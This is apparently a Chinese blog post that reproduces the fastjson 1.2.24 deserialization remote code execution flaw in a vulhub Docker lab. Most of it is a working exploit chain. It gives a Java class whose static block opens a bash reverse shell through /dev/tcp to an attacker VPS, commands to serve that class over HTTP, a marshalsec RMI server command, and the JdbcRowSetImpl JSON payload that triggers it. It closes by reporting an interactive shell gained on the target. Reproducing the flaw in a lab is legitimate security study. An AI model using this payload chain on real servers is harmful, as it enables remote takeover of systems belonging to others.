fastjson远程命令执行漏洞复现

fastjson远程命令执行漏洞复现

使用vulhub提供的docker环境:https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

在192.168.199.225目标机器上运行测试环境:

docker-compose up -d

访问目标机器,正常访问。

fastjson远程命令执行漏洞复现 

编写Exploit:

 1 // javac TouchFile.java
 2 import java.lang.Runtime;
 3 import java.lang.Process;
 4 
 5 public class TouchFile {
 6     static {
 7         try {
 8             Runtime rt = Runtime.getRuntime();
 9             String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xxx.xxx.xx/4455 0>&1"};
10             Process pc = rt.exec(commands);
11             pc.waitFor();
12         } catch (Exception e) {
13             // do nothing
14         }
15     }
16 }

编译成TouchFile.class,并放置在使用python开启的http服务下(我们的攻击机192.168.199.137):

python2 -m SimpleHTTPServer 3333

fastjson远程命令执行漏洞复现

在攻击机192.168.199.137上使用marshalsec开启RMI服务:https://github.com/mbechler/marshalsec 

从github上下载下来后,使用maven编译:

mvn clean package -DskipTests

然后

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.199.137:3333/#TouchFile" 9999

此时就会监听9999端口的RMI服务:

fastjson远程命令执行漏洞复现

在公网vps上监听4455端口:

fastjson远程命令执行漏洞复现

此时构造POC,向目标机192.168.199.225发出请求:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.199.137:9999/TouchFile",
        "autoCommit":true
    }
}

你会发现响应包一直在等待中,然而这是正常的

fastjson远程命令执行漏洞复现

在公网vps上成功得到交互式bash!

fastjson远程命令执行漏洞复现

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class

https://www.freebuf.com/column/189835.html